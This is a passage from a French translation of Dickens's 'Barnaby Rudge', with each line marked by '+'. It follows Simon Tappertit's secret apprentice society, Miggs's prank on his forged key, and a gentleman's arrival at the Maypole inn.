+poitrine et s'inclina devant lui. Quand il se fut suffisamment
+humilié, le capitaine ordonna de lui ôter le bandeau et lui fit
+subir l'épreuve de l'oeillade.
+
+«Ha! dit le capitaine, d'un air pensif, à la suite de l'épreuve,
+continuez.» Le long camarade lut tout haut ce qui suit: «Marc
+Gilbert. Age, dix-neuf ans. Engagé avec Thomas Curzon, bonnetier,
+à la Toison d'Or, Aldgate. Aime la fille de Curzon. Ne peut pas
+dire si la fille de Curzon l'aime. Serait disposé à le croire.
+Curzon lui a tiré les oreilles le mardi de la semaine dernière.»
+
+-- Comment donc? cria le capitaine, qui tressaillit.
+
+-- Pour avoir regardé sa fille, sauf votre respect, dit le
+récipiendaire.
+
+-- Écrivez: «Curzon dénoncé,» dit le capitaine. Mettez une croix
+noire devant le nom de Curzon.
+
+-- Sauf votre respect, dit le récipiendaire, ce n'est pas ce qu'il
+y a de pire. Il appelle son apprenti chien de paresseux, et lui
+supprime sa bière s'il ne travaille pas à son idée. En outre il
+lui donne à manger du fromage de Hollande, pendant qu'il mange
+lui-même du chester, monsieur; et ne le laisse sortir le dimanche
+qu'une fois par mois.
+
+-- Ceci, dit gravement M. Tappertit, est un flagrant délit. Mettez
+deux croix noires au nom de Curzon.
+
+-- Si la société, dit le récipiendaire, qui était un gros lourdaud
+de mauvaise mine, avec la taille tournée et des yeux renfoncés
+très voisins l'un de l'autre, si la société voulait réduire sa
+maison en cendres, car il n'est pas assuré, ou lui donner une
+raclée le soir quand il revient de son club, ou m'aider à enlever
+sa fille et à l'épouser dans l'église de Fleet, bon gré mal
+gré...»
+
+M. Tappertit agita son terrible bâton de commandement comme pour
+l'avertir de ne pas interrompre, et il ordonna de mettre trois
+croix noires au nom de Curzon.
+
+«Ce qui signifie, dit-il en manière de gracieuse explication,
+vengeance complète et terrible. Apprenti, aimez-vous la
+Constitution?
+
+À cela le récipiendaire, se conformant aux instructions des
+parrains qui l'assistaient, répliqua: «Oui!
+
+-- L'Église, l'État, et toute chose établie, excepté les maîtres?
+dit le capitaine.
+
+-- Oui!» dit encore le récipiendiaire.
+
+Après quoi, il écouta d'un air docile le capitaine, qui, dans un
+discours préparé pour des circonstances semblables, lui narra
+comme quoi, sous cette même constitution (qui était gardée dans un
+coffre-fort quelque part, mais il ne pouvait dire où), les
+Apprentis avaient, aux temps passés, eu de droit des vacances
+fréquentes, qu'ils avaient cassé la tête aux gens par centaines,
+bravé leurs maîtres, oui-da, et même consommé quelques glorieux
+meurtres dans les rues, privilèges qu'on leur avait successivement
+arrachés en restreignant leurs nobles aspirations; comme quoi les
+gênes dégradantes qu'on leur avait imposées étaient
+incontestablement imputables à l'esprit novateur de l'époque, et
+comme quoi ils s'étaient associés en conséquence pour résister à
+tout changement autre que ceux qui restaureraient les bonnes
+vieilles coutumes anglaises sous lesquelles ils voulaient vivre ou
+mourir. Après avoir mis en lumière ce qu'il y a de sagesse à
+savoir marcher à reculons, témoins l'écrevisse et cet ingénieux
+poisson, le crabe, témoin aussi la pratique constante de l'âne et
+du mulet, il décrivit leurs buts principaux, qui étaient, en deux
+mots, vengeance contre leurs tyrans de maîtres (dont la cruelle et
+insupportable oppression ne pouvait pas laisser à un apprenti
+l'ombre d'un doute) et restauration de leurs anciens droits, y
+compris les vacances; ils n'étaient pas présentement tout à fait
+mûrs pour cette double mission, la société n'ayant en tout et pour
+tout qu'une force brute de vingt hommes, mais ils s'engageaient à
+atteindre leur but par le fer et le feu quand besoin serait. Puis
+il fit connaître le serment que prêtait chaque membre du petit
+reste d'un noble corps, serment d'un genre terrible et saisissant,
+qui l'obligeait, sur l'ordre de ses chefs, à résister et faire
+obstacle au lord-maire, porte-glaive et chapelain; à mépriser
+l'autorité des shériffs; à regarder le tribunal des aldermen comme
+zéro; mais, sous aucun prétexte, dans le cas où le progrès des
+temps amènerait une insurrection générale des Apprentis, on ne
+devait endommager ni défigurer en rien Temple-Bar[11], le palladium
+de la constitution, dont on ne devait approcher qu'avec respect.
+Ayant traité ces différents points avec une éloquence véhémente,
+et informé en outre le récipiendaire que la société avait pris
+naissance dans son fécond cerveau, stimulé par un sentiment de
+haine contre l'injustice et l'outrage, sentiment toujours
+croissant dans son âme, M. Tappertit lui demanda s'il se croyait
+le coeur assez ferme pour prêter le formidable serment requis par
+les statuts, ou s'il préférait se retirer pendant que la retraite
+était encore possible.
+
+Le récipiendaire répondit à cela qu'il prêterait le serment, dût-
+il en étouffer. La prestation du serment eut donc lieu. Elle
+offrit maintes circonstances très propres à impressionner l'esprit
+le plus héroïque. L'illumination des deux crânes au moyen d'un
+bout de chandelle à l'intérieur de chacun d'eux, et force
+moulinets exécutés avec l'os vengeur, en furent les traits les
+plus remarquables, pour ne pas mentionner divers exercices sérieux
+avec l'espingole et le sabre, et quelques lugubres gémissements
+que firent entendre hors de la salle des apprentis invisibles.
+Toutes ces sombres et effroyables cérémonies ayant eu leur
+accomplissement, la table fut mise de côté, ainsi que le fauteuil
+d'apparat, le sceptre fut mis sous clef dans son armoire
+ordinaire, les portes de communication entre les trois caves
+furent toutes grandes ouvertes, et les Chevaliers Apprentis se
+livrèrent au plaisir.
+
+Mais M. Tappertit, qui avait une âme au-dessus de ce vil troupeau,
+le vulgaire, et qui, à cause de sa grandeur, ne pouvait
+condescendre à se donner du plaisir que de temps en temps, se jeta
+sur un banc, de l'air d'un homme accablé sous le poids de sa
+dignité. Il regarda les cartes et les dés d'un oeil aussi
+indifférent que les quilles; il ne pensait qu'à la fille du
+serrurier, et aux jours de turpitude et de décadence où il avait
+le malheur de vivre.
+
+«Mon noble capitaine ne joue pas, ne chante pas, ne danse pas, dit
+l'hôte en s'asseyant auprès de lui. Buvez alors, brave général!»
+
+M. Tappertit vida jusqu'à la lie le calice qui lui était présenté;
+puis il plongea ses mains dans ses poches, et avec un visage
+nuageux il se promena au travers des quilles, tandis que ses
+acolytes (telle est l'influence d'un génie supérieur) retenaient
+l'ardente boule, témoignant pour ses petits tibias le respect le
+plus profond.
+
+«Si j'étais né corsaire ou pirate, brigand, gentilhomme de
+grand'route ou patriote, car tout cela se ressemble, pensa
+M. Tappertit en rêvant au milieu des quilles, à la bonne heure!
+Mais traîner une ignoble existence et rester inconnu à l'humanité
+en général!... Patience. Je saurai devenir fameux. Une voix, là
+dedans, ne cesse de me chuchoter ma future grandeur. J'éclaterai
+un de ces jours, et alors qui pourra me retenir? À cette idée, je
+sens mon âme monter dans ma tête. Buvons! versez encore! Le
+nouveau membre poursuivit M. Tappertit, non pas précisément d'une
+voix de tonnerre, car son organe, à dire vrai, était un peu fêlé
+et perçant, mais d'une voix très propre à faire impression
+néanmoins; où est-il?
+
+-- Ici, noble capitaine! cria Stagg. Il y a là près de moi
+quelqu'un que je sens être un étranger.
+
+-- Avez-vous, dit M. Tappertit en laissant tomber son regard sur
+la personne indiquée, et c'était effectivement le nouveau
+chevalier qui avait à présent repris son costume de ville; avez-
+vous l'empreinte en cire de la clef de la porte qui mène de chez
+vous à la porte de la rue?»
+
+Le long camarade prévint la réponse en produisant cette empreinte,
+qu'il enleva d'une planche où elle avait été déposée.
+
+-- Bon!» dit M. Tappertit, l'examinant avec attention, tandis
+qu'un silence absolu régnait autour de lui (car il avait fabriqué
+des clefs secrètes pour toute la société, et il devait peut-être
+quelque chose de son influence à ce petit service trivial: les
+hommes de génie ne sont pas eux-mêmes à l'abri de ces
+considérations mesquines). Venez ici, l'ami. Ça sera bientôt
+fait.»
+
+En parlant de la sorte, d'un signe il prit à part le nouveau
+chevalier, et, mettant le modèle dans sa poche, il l'invita à se
+promener avec lui.
+
+«Ainsi donc, dit-il, après quelques tours en long et en large,
+vous... vous aimez la fille de votre maître?
+
+-- Je l'aime, dit l'apprenti. En tout bien tout honneur. Pas de
+bêtises, vous savez.
+
+-- Avez-vous, répliqua M. Tappertit en le saisissant par le
+poignet, et lui lançant un regard qui aurait exprimé la plus
+mortelle malveillance, si un hoquet accidentel n'était venu jeter
+un peu de trouble dans ce regard; avez-vous un rival?
+
+-- Non, pas que je sache, répliqua l'apprenti.
+
+-- Si vous en aviez un maintenant, dit M. Tappertit, que feriez-
+vous? hein!»
+
+L'apprenti lança un regard farouche et serra ses poings.
+
+«C'est assez, dit vivement M. Tappertit. Nous nous comprenons; on
+nous observe; merci.»
+
+En disant cela il lui fit signe de s'éloigner; puis appelant le
+long camarade et le prenant à part, après avoir fait seul quelques
+tours précipités, il lui ordonna d'écrire immédiatement, et
+d'afficher sur la muraille un avis proscrivant un certain Joseph
+Willet (connu en général sous le nom de Joe) de Chigwell; faisant
+défense aux Chevaliers Apprentis de lui prêter secours et
+assistance, d'entretenir des rapports avec lui; et leur
+enjoignant, sous peine d'excommunication, de molester ledit
+Joseph, de le maltraiter, de lui faire du tort, de l'ennuyer, de
+lui chercher querelle, n'importe quand, et n'importe où les uns ou
+les autres pourraient faire sa rencontre.
+
+Cette mesure énergique ayant soulagé son esprit, il voulut bien
+s'approcher de la table joyeuse, et, s'échauffant peu à peu, il
+daigna enfin présider, et même charmer la compagnie avec une
+chanson. Ensuite il s'éleva à un tel degré de complaisance, qu'il
+consentit à régaler ses subalternes d'une danse de cornemuse. Il
+l'exécuta immédiatement aux sons d'un violon dont joua un virtuose
+de la société; et il l'exécuta d'une manière si brillante et avec
+une agilité si merveilleuse, que les spectateurs ne pouvaient pas
+trouver assez d'enthousiasme pour manifester leur admiration.
+Quant à l'hôte, il protesta, les larmes dans les yeux, qu'il
+n'avait jamais senti le regret d'être aveugle comme à présent.
+
+Mais l'hôte, après s'être retiré, probablement pour pleurer en
+secret sur sa cécité, revint bientôt annoncer qu'il ne restait
+guère plus d'une heure avant que le jour parût, et que tous les
+coqs de Barbican avaient déjà commencé à chanter comme des perdus.
+À cette nouvelle, les Chevaliers Apprentis se levèrent en toute
+hâte, et, se rangeant sur une seule ligne, défilèrent l'un après
+l'autre, et se dispersèrent du pas le plus accéléré vers leurs
+domiciles respectifs, laissant leur commandant passer le dernier
+par la grille.
+
+«Bonne nuit, noble capitaine! chuchota l'aveugle pendant qu'il
+tenait la porte ouverte pour le laisser passer. Adieu, brave
+général. Allez faire dodo, illustre commandant. Bonne chance,
+imbécile, vaniteux, fanfaron, tête vide, jambes de canard.»
+
+Après avoir prononcé ces derniers mots d'adieu, avec un sang-froid
+malhonnête, tandis qu'il écoutait s'éloigner le bruit des pas du
+capitaine, et qu'il refermait la grille sur lui-même, il descendit
+les marches, et allumant du feu sous le petit chaudron, il se
+prépara, sans aucune aide, à son occupation du jour. Elle
+consistait à vendre au détail, à l'entrée de la cour d'au-dessus,
+des portions de soupe et de bouillon un penny, et des pouddings
+savoureux faits avec des rogatons, tels que ceux qu'on pouvait
+acheter en bloc au plus vil prix, dans la soirée, à Fleet-Market.
+Naturellement, pour le débit de sa marchandise, il comptait
+principalement sur ses connaissances personnelles: car la cour
+était une impasse qui ne recevait pas une grande variété de
+clients, et il ne semblait pas que beaucoup de monde choisît cet
+endroit de préférence pour venir y prendre l'air, ni pour y faire
+par agrément, un tour de promenade.
+
+
+
+
+CHAPITRE IX.
+
+
+Les chroniqueurs ont le privilège d'entrer où ils veulent, d'aller
+et venir par des trous de serrure, de chevaucher sur le vent, de
+surmonter dans leur essor, de haut en bas, de bas en haut, tous
+les obstacles de distance, de temps et de lieu. Trois fois bénie
+soit cette dernière considération, puisqu'elle nous permet de
+suivre la dédaigneuse Miggs jusque dans le sanctuaire de sa
+chambre, et de jouir de sa douce compagnie durant les terribles
+veilles de la nuit.
+
+Mlle Miggs après avoir défait sa maîtresse, comme elle s'exprimait
+(ce qui signifie, l'avoir aidée à se déshabiller), et l'avoir vue
+bien confortablement au lit dans la chambre de derrière du premier
+étage, se retira dans son propre appartement, à l'étage de la
+corniche. Nonobstant sa déclaration en présence du serrurier, elle
+n'avait pas envie de dormir, aussi, mettant la lumière sur la
+table, et écartant le rideau de la petite fenêtre, elle contempla
+d'un air pensif le vaste ciel nocturne.
+
+Peut-être se demandait-elle avec étonnement quelle étoile était
+destinée à lui servir de séjour lorsqu'elle aurait parcouru sa
+petite carrière ici-bas; peut-être cherchait-elle à pénétrer
+laquelle de ces sphères brillantes pouvait être le globe natal de
+M. Tappertit, peut-être s'émerveillait-elle qu'elles
+s'abaissassent à regarder cette perfide créature, l'homme, sans en
+avoir mal au coeur, sans en devenir tout à coup vertes comme les
+lampes des pharmaciens, peut-être ne pensait-elle à aucune chose
+en particulier. Quel que fût l'objet de ses réflexions, elle resta
+assise là jusqu'à ce que son attention, éveillée par tout ce qui
+se rattachait à l'insinuant apprenti, fut attirée par un bruit
+dans la chambre voisine de sa propre chambre, dans sa chambre à
+lui, la chambre où il dormait et rêvait, où quelquefois peut-être
+il rêvait d'elle.
+
+Qu'il ne rêvât pas maintenant, à moins qu'il ne se promenât tout
+endormi, rien de plus clair car d'instant en instant il venait de
+là une espèce de frottement, comme s'il était occupé à polir le
+mur blanchi à la chaux, puis sa porte cria doucement, puis il y
+eut une faible indication de sa marche furtive sur le palier.
+Notant cette dernière circonstance, Mlle Miggs pâlit et frissonna,
+comme si elle se méfiait de ses intentions, et plus d'une fois
+elle s'écria, en retenant son souffle. «Oh! c'est un effet de la
+Providence que j'aie mis le verrou!» En cela elle se trompait,
+c'est sans doute la frayeur qui lui faisait confondre en idée un
+verrou et son usage car il était bien vrai qu'il y avait un verrou
+à la porte, mais il n'était pas mis en dedans.
+
+Quoi qu'il en soit, le sens de l'ouïe ayant, chez Mlle Miggs, un
+tranchant aussi effilé que son caractère, et se trouvant de la
+même nature hargneuse et soupçonneuse, l'informa bientôt que le
+promeneur nocturne dépassait sa porte, et paraissait avoir quelque
+but tout à fait distinct d'elle-même, sans le moindre rapport avec
+sa personne. À cette découverte elle fut plus effrayée que jamais,
+et elle allait donner libre issue à ses cris de: «Au voleur! à
+l'assassin!» qu'elle avait jusqu'ici comprimés, quand elle s'avisa
+d'ouvrir doucement sa porte et de regarder, pour savoir si ses
+craintes avaient quelque fondement solide et palpable.
+
+En conséquence, regardant dehors, et étendant son cou au-dessus de
+la rampe elle aperçut, à sa grande stupéfaction, M. Tappertit
+complètement habillé, qui descendait à la dérobée l'escalier, une
+marche à la fois, avec ses souliers dans une de ses mains et une
+lampe dans l'autre. Elle le suivit des yeux, et, descendant elle-
+même quelques marches pour profiter d'un angle propice, elle le
+vit passer la tête par la porte de la salle à manger, la retirer
+avec une grande promptitude, et commencer immédiatement une
+retraite vers le haut de l'escalier avec toute la célérité
+possible.
+
+«Il y a là un mystère! dit la demoiselle, lorsqu'elle fut rentrée
+dans sa propre chambre saine et sauve, mais ne pouvant plus
+respirer. Bonté divine! il y a là un mystère!»
+
+La perspective de surprendre n'importe quel secret de n'importe
+qui aurait suffi pour tenir éveillée Mlle Miggs même sous
+l'influence de la jusquiame. Bientôt elle entendit encore le pas
+de l'apprenti; d'ailleurs elle aurait entendu celui d'une plume
+automate qui serait descendue sur la pointe du pied. Puis elle se
+glissa hors de sa chambre, ainsi qu'auparavant, et aperçut de
+nouveau le fuyard qui revenait à la charge: il regarda encore avec
+précaution à la porte de la salle à manger; mais cette fois, au
+lieu de battre en retraite, il entra et disparut.
+
+Miggs était de retour dans sa chambre, et avait mis la tête à la
+fenêtre, en moins de temps qu'il n'en faut à un homme d'âge pour
+cligner de l'oeil et se remettre. L'apprenti sortit par la porte
+de la rue, la ferma soigneusement derrière lui, s'en assura en y
+appuyant le genou, et partit avec une allure de fanfaron, en
+mettant quelque chose dans sa poche tandis qu'il s'éloignait. À ce
+spectacle, Miggs cria derechef: «Bonté divine!» puis: «Juste
+ciel!» puis: «Seigneur, protégez-moi!» puis, prenant une chandelle
+en main, elle descendit l'escalier comme il avait fait. Arrivée à
+l'atelier, elle vit la lampe allumée sur la forge, et chaque chose
+comme Sim l'avait laissée.
+
+«Eh! mais, je veux n'avoir qu'un enterrement à pied après ma mort,
+au lieu d'un convoi décent avec un corbillard à plumes, si ce
+moutard ne s'est point fabriqué une clef particulière! cria Miggs.
+Oh! le petit scélérat!»
+
+Elle n'arriva pas à cette conclusion sans réfléchir, sans beaucoup
+regarder, beaucoup examiner; ses souvenirs l'y aidèrent aussi:
+elle se rappela que, dans diverses occasions, étant tombée tout à
+coup sur le dos de l'apprenti, elle l'avait trouvé occupé d'un
+travail mystérieux. De peur que le nom de moutard donné par
+Mlle Miggs à celui sur qui elle daignait abaisser les yeux
+n'éveille de l'étonnement dans quelque esprit, il est bon de faire
+observer qu'elle considérait tous les mâles bipèdes au-dessous de
+trente ans comme de simples marmots, de vrais poupons, phénomène
+assez commun chez les dames du caractère de Mlle Miggs, et qu'en
+général on trouve associé à ces indomptables et sauvages vertus.
+
+Mlle Miggs délibéra en elle-même durant quelques minutes, les yeux
+fixés tout le temps sur la porte de l'atelier comme si ses yeux et
+ses pensées ne pouvaient s'en détacher. Puis, prenant dans un
+fauteuil une feuille de papier, elle en fit un long et mince
+tortillon. Après avoir rempli cet instrument d'une quantité de
+poussière du menu charbon de la forge, elle s'approcha de la
+porte, et, mettant un genou en terre, elle souffla avec dextérité
+dans le trou de la serrure autant de cette fine poudre qu'il en
+pouvait contenir. Lorsqu'elle l'eut bourré jusqu'au bord d'une
+façon très industrieuse et très habile, elle remonta l'escalier à
+la sourdine, et, arrivée dans sa chambre, elle gloussa de rire.
+
+«Là! cria Miggs en se frottant les mains, nous verrons maintenant
+si vous ne vous trouvez pas bien heureux de faire quelque
+attention à moi, monsieur. Hi! hi! hi! maintenant vous aurez des
+yeux pour quelque autre, j'imagine, que Mlle Dolly, avec sa
+vilaine figure de chat bouffi comme je n'en ai jamais vu, moi!»
+
+En proférant cette critique, elle lança un coup d'oeil approbateur
+à son petit miroir, comme une personne qui dirait: «Je rends
+grâces à mon étoile qu'on ne puisse pas en dire autant de moi.» Et
+certainement c'était chose impossible; car le style de beauté de
+Mlle Miggs appartenait à ce genre que M. Tappertit lui-même avait
+assez bien qualifié, dans l'intimité, du titre de décharné.
+
+«Je ne me coucherai pas cette nuit, dit Miggs en s'enveloppant
+d'un châle, tirant une couple de chaises près de la fenêtre,
+s'enfonçant sur l'une et mettant ses pieds sur l'autre, que vous
+ne soyez revenu au logis, mon garçon. Je ne me coucherai pas, dit
+Miggs avec résolution, oh! non, pas même pour quarante-cinq
+guinées.»
+
+Là-dessus, avec une expression de figure où un grand nombre
+d'ingrédients contraires, tels que la méchanceté, la ruse, la
+malice, le triomphe, la confiance dans le succès de sa patience,
+étaient tous mêlés ensemble en une sorte de punch physionomique,
+Mlle Miggs s'arrangea pour attendre et pour écouter, semblable à
+quelque belle ogresse qui vient de dresser un piège sur le chemin
+et guette un jeune voyageur bien dodu pour en manger une tranche.
+
+Elle resta assise là, dans une parfaite tranquillité, toute la
+nuit. Enfin, juste à la pointe du jour, il y eut un bruit de pas
+dans la rue, et bientôt elle put voir M. Tappertit s'arrêter
+devant la porte. Puis elle put découvrir qu'il essayait sa clef,
+qu'il soufflait dedans, qu'il la tapait contre le poteau le plus
+proche pour faire tomber la poussière, qu'il allait l'examiner
+sous un réverbère, qu'il fourrait des petits morceaux de bois dans
+la serrure pour la nettoyer, qu'il regardait dans le trou de la
+serrure, d'abord avec un oeil, et ensuite avec l'autre, qu'il
+essayait la clef une seconde fois, qu'elle ne pouvait plus
+tourner, et, qui pis est, qu'elle ne pouvait plus ressortir, qu'il
+la courbait, qu'elle était alors moins disposée à ressortir
+qu'auparavant, qu'il la tordait avec une grande force et la tirait
+d'une main vigoureuse, et qu'alors elle ressortait si soudainement
+qu'il manquait de tomber à la renverse, qu'il donnait un coup de
+pied à la porte, qu'il la secouait, qu'il finissait par se frapper
+le front, et s'asseoir sur la marche, d'un air désespéré.
+
+Quand la crise fut arrivée à son paroxysme, Mlle Miggs, affectant
+d'être épuisée par la terreur et de se cramponner à l'allège de la
+fenêtre pour se soutenir, fit voir au dehors son bonnet de nuit,
+et demanda d'une voix faible qui était là.
+
+M. Tappertit cria: «Chut!» et, reculant de quelques pas dans la
+rue, l'exhorta, dans une pantomime frénétique, au secret et au
+silence.
+
+«Un mot, un seul, dit Miggs. Y a-t-il des voleurs?
+
+-- Non, non, non! cria M. Tappertit.
+
+-- Alors, dit Miggs d'une voix plus faible qu'avant, est-ce le
+feu? où est-il, monsieur? Près de cette chambre, je le parie. Je
+n'ai rien sur la conscience, monsieur, et j'aime mieux mourir que
+de descendre par une échelle. Tout ce que je désire, vu l'amour
+que je porte à ma soeur, qui est mariée, cour du Lion d'or, n° 27,
+deuxième cordon de sonnette, sur le montant, à droite...
+
+-- Miggs! cria M. Tappertit, ne me reconnaissez-vous pas? Sim,
+vous savez, Sim.
+
+-- Oh! qu'est-ce qu'il a? cria Miggs en serrant ses mains; court-
+il quelque danger? est-il au milieu des flammes ardentes? Ah ciel!
+ah ciel!
+
+-- Eh! mais, je suis ici, répliqua M. Tappertit en se frappant la
+poitrine. Ne me voyez-vous pas? Êtes-vous folle, Miggs?
+
+-- Quoi! c'est vous! cria Miggs, sans faire attention à ce
+compliment. Eh! mais oui, c'est lui-même. Bonté divine! qu'est-ce
+que cela signifie, s'il vous plaît? Mame, c'est...
+
+-- Non, non! cria M. Tappertit, qui se tenait sur la pointe des
+pieds, comme s'il espérait, par ce moyen, pouvoir se rapprocher
+assez pour fermer de là la bouche à Miggs dans son galetas. Ne
+dites rien. Je suis sorti sans permission, et il y a je ne sais
+quoi à la serrure. Descendez, venez ouvrir la fenêtre de la
+boutique, afin que je puisse entrer par là.
+
+-- Je n'ose pas, Simmun, cria Miggs, car c'était ainsi qu'elle
+prononçait son nom de baptême. Je n'ose pas, en vérité. Vous savez
+aussi bien que n'importe qui combien je suis scrupuleuse. Et
+descendre en pleine nuit, lorsque la maison est plongée dans le
+sommeil et voilée de ténèbres!»
+
+Ici elle s'arrêta et frissonna, car sa pudeur en attrapait un
+rhume rien que d'y penser.
+
+«Mais, Miggs, cria M. Tappertit en allant sous le réverbère pour
+qu'elle pût voir ses yeux. Ma Miggs chérie...»
+
+Miggs jeta un petit cri perçant.
+
+«Que j'aime tant, et à laquelle je ne peux m'empêcher de penser
+toujours;» et il est impossible de décrire l'usage qu'il fit de
+ses yeux en disant ceci. «Descendez; pour l'amour de moi,
+descendez.
+
+-- Oh! Simmun, cria Miggs, c'est pire que tout le reste. Je sais
+que, si je descends, vous irez plus loin, et...
+
+-- Et quoi, précieuse amie? dit M. Tappertit.
+
+-- Et vous essayerez, dit Miggs d'un air agacé, de m'embrasser, ou
+quelque autre horreur; vous l'essayerez, je le sais.
+
+-- Je vous jure que non, dit Tappertit avec une remarquable
+vivacité. Sur mon âme, je n'en ferai rien. Il s'en va grand jour,
+et le watchman est en train de se réveiller. Angélique Miggs! si
+vous voulez bien descendre et m'introduire, je vous promets
+sincèrement et loyalement que je serai bien sage.»
+
+Mlle Miggs, dont le bon petit coeur fut touché, n'attendit point
+le serment, (sachant combien la tentation était forte, et
+craignant que ce ne fût pour lui l'occasion d'un parjure), mais
+elle sauta en bas de l'escalier lestement, et, de ses belles
+mains, elle rabattit la rude fermeture de la fenêtre de l'atelier.
+Après avoir aidé l'apprenti à entrer, elle articula d'une voix
+faible les mots: «Simmun est sauvé!» et, cédant à sa nature
+féminine, elle perdit immédiatement connaissance.
+
+«Je savais que je la fascinerais, dit Sim, un peu embarrassé par
+cet incident. J'étais sûr, naturellement, que ça finirait comme
+ça; mais il n'y avait pas d'autre parti à prendre. Si je ne lui
+eusse pas lancé mon oeillade, elle ne serait pas descendue.
+Voyons, soutenez-vous une minute, Miggs. Quelle glissante personne
+que cette fille! il n'y a pas moyen de la tenir commodément.
+Soutenez-vous une minute, Miggs, soutenez-vous donc.»
+
+Miggs restant néanmoins sourde à toutes les supplications,
+M. Tappertit l'appuya contre la muraille, comme on ferait d'une
+canne ou d'un parapluie, jusqu'à ce qu'il eût bien barricadé la
+fenêtre. Alors, il la prit de nouveau dans ses bras; puis, par de
+petites étapes et avec une grande difficulté qui tenait surtout à
+ce qu'elle était d'une haute taille, et lui d'une taille exiguë,
+peut-être aussi à cette particularité dans sa conformation
+physique qu'il avait déjà qualifiée, il finit par la porter au
+haut de l'escalier, la planta encore, comme un parapluie ou une
+canne, juste devant la porte de sa chambre, et la laissa
+tranquille.
+
+«Libre à lui d'être froid autant qu'il le voudra, dit Miggs, qui
+revint à elle dès qu'elle se vit seule; mais je suis dans sa
+confidence, et il ne peut pas m'en empêcher, non, non, fût-il
+vingt Simmuns à lui tout seul!»
+
+
+
+
+CHAPITRE X.
+
+
+C'était par une de ces matinées si fréquentes au commencement du
+printemps, lorsque l'année volage et changeante en sa jeunesse,
+comme toutes les autres créatures de ce monde, est encore
+incertaine si elle doit reculer jusqu'à l'hiver ou avancer jusqu'à
+l'été, et, dans son doute, incline tantôt vers l'un, tantôt vers
+l'autre, tantôt vers tous les deux à la fois, courtisant l'été, au
+soleil, et s'attardant avec l'hiver, à l'ombre. Bref, c'était par
+une de ces matinées où le temps est, dans le court espace d'une
+heure chaud et froid, humide et sec, clair et sombre, triste et
+gai, désenchanteur et réconfortant, que John Willet qui
+s'endormait tout doucement auprès du chaudron de cuivre fut
+réveillé par le bruit des pas d'un cheval, et que, donnant un coup
+d'oeil à la fenêtre, il aperçut un voyageur de belle apparence
+s'arrêter à la porte du Maypole.
+
+Ce n'était pas un de ces jeunes gens dégagés qui demanderaient un
+pot d'ale épicée, et se mettraient tout aussi à leur aise que
+s'ils se faisaient servir un muid de vin; un de vos jeunes
+casseurs d'assiettes qui ne respectent rien, et qui pénétreraient
+même dans le comptoir, ce solennel sanctuaire, pour donner au
+vieux John une tape sur le ventre, et s'informer s'il n'y aurait
+pas quelque jolie fille dans la maison, où c'est qu'il cache ses
+petites chambrières, avec cent autres impertinences de ce genre;
+un M. Sans-Gêne qui décrotterait ses bottes sur les chenets dans
+la salle commune, et ne se montrerait pas difficile pour trouver
+les crachoirs, un de vos jeunes fous qui s'en viennent exiger des
+côtelettes impossibles, et commander des sauces qu'on n'a jamais
+vues ni connues. C'était un gentleman rassis, grave, tranquille,
+un peu au delà du printemps de la vie, se tenant droit encore,
+malgré cela, et mince comme un lévrier. Bien monté sur un double
+poney alezan, il avait l'assiette gracieuse d'un cavalier
+expérimenté, quant à son équipement, quoique exempt des
+affectations alors en vogue, il était beau et bien choisi. Il
+portait une redingote d'un vert plus clair peut-être qu'on ne s'y
+serait attendu de la part d'un monsieur de son âge, avec un petit
+collet de velours noir, poches et parements garnis, le tout d'une
+façon élégante, son linge, aussi, était de fine étoffe, travaillé
+sur un riche dessin aux poignets et aux devants, et d'une
+blancheur irréprochable. Quoiqu'il semblât, à en juger d'après la
+boue qu'il avait ramassée sur la route, venir de Londres, son
+cheval n'était pas moins lisse ni moins frais que la perruque gris
+de fer et la queue de son maître. Ni l'homme ni l'animal n'avaient
+un poil de dérangé, et, sauf les taches de ses basques et de ses
+guêtres, ce monsieur, avec sa figure fleurie, ses dents blanches,
+son costume régulier et propret, et son calme parfait, aurait pu
+tout aussi bien sortir de faire exprès sa toilette afin de venir,
+à la porte du vieux John Willet, poser pour un portrait équestre.
+
+Bien entendu que John n'observa pas d'un seul coup d'oeil tous ces
+détails caractéristiques; il y mit du temps au contraire, il les
+recueillit un à un, brin à brin, après bien des suppositions et de
+sérieuses réflexions avant de se décider. Soyons francs: s'il eût
+été troublé tout d'abord par des questions et des ordres, il lui
+aurait fallu au moins une quinzaine pour prendre note de tous les
+renseignements que nous venons de donner; mais il arriva que le
+monsieur, étonné de l'aspect de la vieille auberge, ou des pigeons
+dodus qui la saluaient dans leur vol rapide, ou du mai élevé au
+faîte duquel une girouette, en mauvais état depuis quinze ans,
+exécutait une perpétuelle promenade au son criard de sa propre
+musique, resta en selle quelque temps à regarder autour de lui en
+silence. Voilà pourquoi John, debout, la main sur la bride du
+cheval, et ses grands yeux sur le cavalier, rien ne passant sur la
+route qui pût distraire ses pensées, avait réellement recueilli
+dans son cerveau plusieurs de ces petits détails, au moment où il
+fut invité à parler.
+
+«Curieux endroit que celui-ci! dit le gentleman, et sa voix avait
+la richesse de son habillement. Êtes-vous l'aubergiste?
+
+-- À votre service, monsieur, répondit John Willet.
+
+-- Vous pouvez, n'est-ce pas, faire bien soigner mon cheval à
+l'écurie, et me donner promptement à dîner (n'importe quoi, pourvu
+que ce soit proprement servi), et une chambre décente? Il n'en
+manque pas apparemment dans cette grande maison, dit l'étranger,
+parcourant de nouveau du regard l'extérieur de l'auberge.
+
+-- Vous aurez, monsieur, répliqua John avec une promptitude
+surprenante, tout ce que vous voudrez.
+
+-- Il est fort heureux que je me contente aisément, repartit
+l'autre avec un sourire; sans cela vous pourriez bien perdre la
+gageure, mon ami.»
+
+Et en même temps, il descendit de cheval en un clin d'oeil, à
+l'aide du billot placé devant la porte.
+
+«Holà, quelqu'un! Hugh! rugit John. Je vous demande pardon,
+monsieur, de vous retenir là debout sous le porche; mais mon fils
+est allé à la ville[12] pour affaire, et comme ce garçon, voyez-vous
+m'est assez utile je me trouve dans l'embarras lorsqu'il n'est pas
+ici. Hugh! Celui-là, monsieur, c'est un terrible paresseux, un
+franc vagabond monsieur, une espèce de bohémien, j'imagine,
+toujours à dormir au soleil en été, monsieur, et dans la paille en
+hiver, Hugh. Bon dieu faire attendre un monsieur sous le porche, à
+cause de lui! Hugh! Je voudrais que le drôle fût mort, en vérité,
+je le voudrais.
+
+-- Peut-être l'est-il, répliqua l'autre. S'il était en vie, je
+suppose qu'il vous aurait entendu maintenant.
+
+-- Quand il est dans ses accès de paresse il dort si profondément,
+dit l'aubergiste bouleversé, que, si vous lui tiriez des boulets
+de canon dans les oreilles, ça ne le réveillerait pas, monsieur.»
+
+Son hôte ne fit aucune remarque sur ce nouveau traitement d'une
+hypertrophie de sommeil, et sur la recette proposée pour donner
